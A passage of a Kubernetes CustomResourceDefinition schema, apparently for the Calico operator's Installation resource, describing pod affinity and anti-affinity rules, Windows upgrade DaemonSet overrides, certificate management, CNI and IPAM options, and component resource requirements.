                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                    podAntiAffinity:
                                      description: Describes pod anti-affinity scheduling
                                        rules (e.g. avoid putting this pod in the
                                        same node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the anti-affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling anti-affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the anti-affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the anti-affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                  type: object
                                containers:
                                  description: |-
                                    Containers is a list of calico-windows-upgrade containers.
                                    If specified, this overrides the specified calico-windows-upgrade DaemonSet containers.
                                    If omitted, the calico-windows-upgrade DaemonSet will use its default values for its containers.
                                  items:
                                    description: CalicoWindowsUpgradeDaemonSetContainer
                                      is a calico-windows-upgrade DaemonSet container.
                                    properties:
                                      name:
                                        description: Name is an enum which identifies
                                          the calico-windows-upgrade DaemonSet container
                                          by name.
                                        enum:
                                        - calico-windows-upgrade
                                        type: string
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named calico-windows-upgrade DaemonSet container's resources.
                                          If omitted, the calico-windows-upgrade DaemonSet will use its default value for this container's resources.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                nodeSelector:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    NodeSelector is the calico-windows-upgrade pod's scheduling constraints.
                                    If specified, each of the key/value pairs are added to the calico-windows-upgrade DaemonSet nodeSelector provided
                                    the key does not already exist in the object's nodeSelector.
                                    If omitted, the calico-windows-upgrade DaemonSet will use its default value for nodeSelector.
                                    WARNING: Please note that this field will modify the default calico-windows-upgrade DaemonSet nodeSelector.
                                  type: object
                                tolerations:
                                  description: |-
                                    Tolerations is the calico-windows-upgrade pod's tolerations.
                                    If specified, this overrides any tolerations that may be set on the calico-windows-upgrade DaemonSet.
                                    If omitted, the calico-windows-upgrade DaemonSet will use its default value for tolerations.
                                    WARNING: Please note that this field will override the default calico-windows-upgrade DaemonSet tolerations.
                                  items:
                                    description: |-
                                      The pod this Toleration is attached to tolerates any taint that matches
                                      the triple <key,value,effect> using the matching operator <operator>.
                                    properties:
                                      effect:
                                        description: |-
                                          Effect indicates the taint effect to match. Empty means match all taint effects.
                                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                        type: string
                                      key:
                                        description: |-
                                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                        type: string
                                      operator:
                                        description: |-
                                          Operator represents a key's relationship to the value.
                                          Valid operators are Exists and Equal. Defaults to Equal.
                                          Exists is equivalent to wildcard for value, so that a pod can
                                          tolerate all taints of a particular category.
                                        type: string
                                      tolerationSeconds:
                                        description: |-
                                          TolerationSeconds represents the period of time the toleration (which must be
                                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                                          negative values will be treated as 0 (evict immediately) by the system.
                                        format: int64
                                        type: integer
                                      value:
                                        description: |-
                                          Value is the taint value the toleration matches to.
                                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                                        type: string
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
                certificateManagement:
                  description: |-
                    CertificateManagement configures pods to submit a CertificateSigningRequest to the certificates.k8s.io/v1beta1 API in order
                    to obtain TLS certificates. This feature requires that you bring your own CSR signing and approval process, otherwise
                    pods will be stuck during initialization.
                  properties:
                    caCert:
                      description: Certificate of the authority that signs the CertificateSigningRequests
                        in PEM format.
                      format: byte
                      type: string
                    keyAlgorithm:
                      description: |-
                        Specify the algorithm used by pods to generate a key pair that is associated with the X.509 certificate request.
                        Default: RSAWithSize2048
                      enum:
                      - ""
                      - RSAWithSize2048
                      - RSAWithSize4096
                      - RSAWithSize8192
                      - ECDSAWithCurve256
                      - ECDSAWithCurve384
                      - ECDSAWithCurve521
                      type: string
                    signatureAlgorithm:
                      description: |-
                        Specify the algorithm used for the signature of the X.509 certificate request.
                        Default: SHA256WithRSA
                      enum:
                      - ""
                      - SHA256WithRSA
                      - SHA384WithRSA
                      - SHA512WithRSA
                      - ECDSAWithSHA256
                      - ECDSAWithSHA384
                      - ECDSAWithSHA512
                      type: string
                    signerName:
                      description: |-
                        When a CSR is issued to the certificates.k8s.io API, the signerName is added to the request in order to accommodate for clusters
                        with multiple signers.
                        Must be formatted as: `<my-domain>/<my-signername>`.
                      type: string
                  required:
                  - caCert
                  - signerName
                  type: object
                cni:
                  description: CNI specifies the CNI that will be used by this installation.
                  properties:
                    ipam:
                      description: |-
                        IPAM specifies the pod IP address management that will be used in the Calico or
                        Calico Enterprise installation.
                      properties:
                        type:
                          description: |-
                            Specifies the IPAM plugin that will be used in the Calico or Calico Enterprise installation.
                            * For CNI Plugin Calico, this field defaults to Calico.
                            * For CNI Plugin GKE, this field defaults to HostLocal.
                            * For CNI Plugin AzureVNET, this field defaults to AzureVNET.
                            * For CNI Plugin AmazonVPC, this field defaults to AmazonVPC.
                            The IPAM plugin is installed and configured only if the CNI plugin is set to Calico,
                            for all other values of the CNI plugin the plugin binaries and CNI config is a dependency
                            that is expected to be installed separately.
                            Default: Calico
                          enum:
                          - Calico
                          - HostLocal
                          - AmazonVPC
                          - AzureVNET
                          type: string
                      required:
                      - type
                      type: object
                    type:
                      description: |-
                        Specifies the CNI plugin that will be used in the Calico or Calico Enterprise installation.
                        * For KubernetesProvider GKE, this field defaults to GKE.
                        * For KubernetesProvider AKS, this field defaults to AzureVNET.
                        * For KubernetesProvider EKS, this field defaults to AmazonVPC.
                        * If aws-node daemonset exists in kube-system when the Installation resource is created, this field defaults to AmazonVPC.
                        * For all other cases this field defaults to Calico.
                        For the value Calico, the CNI plugin binaries and CNI config will be installed as part of deployment,
                        for all other values the CNI plugin binaries and CNI config is a dependency that is expected
                        to be installed separately.
                        Default: Calico
                      enum:
                      - Calico
                      - GKE
                      - AmazonVPC
                      - AzureVNET
                      type: string
                  required:
                  - type
                  type: object
                componentResources:
                  description: |-
                    Deprecated. Please use CalicoNodeDaemonSet, TyphaDeployment, and KubeControllersDeployment.
                    ComponentResources can be used to customize the resource requirements for each component.
                    Node, Typha, and KubeControllers are supported for installations.
                  items:
                    description: |-
                      Deprecated. Please use component resource config fields in Installation.Spec instead.
                      The ComponentResource struct associates a ResourceRequirements with a component by name
                    properties:
                      componentName:
                        description: ComponentName is an enum which identifies the
                          component
                        enum:
                        - Node
                        - Typha
                        - KubeControllers
                        type: string
                      resourceRequirements:
                        description: ResourceRequirements allows customization of
                          limits and requests for compute resources such as cpu and
                          memory.
                        properties:
                          claims:
                            description: |-
                              Claims lists the names of resources, defined in spec.resourceClaims,
                              that are used by this container.
                              This is an alpha field and requires enabling the
                              DynamicResourceAllocation feature gate.
                              This field is immutable. It can only be set for containers.
                            items:
                              description: ResourceClaim references one entry in PodSpec.ResourceClaims.
                              properties:
                                name:
                                  description: |-
                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                    the Pod where this field is used. It makes that resource available
                                    inside a container.
                                  type: string
                                request:
                                  description: |-
                                    Request is the name chosen for a request in the referenced claim.
                                    If empty, everything from the claim is made available, otherwise
                                    only the result of this request.
                                  type: string
                              required:
                              - name
                              type: object
                            type: array
                            x-kubernetes-list-map-keys:
                            - name
                            x-kubernetes-list-type: map
                          limits:
                            additionalProperties:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                              x-kubernetes-int-or-string: true
                            description: |-
                              Limits describes the maximum amount of compute resources allowed.
                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                            type: object
                          requests:
                            additionalProperties:
                              anyOf:
                              - type: integer
                              - type: string
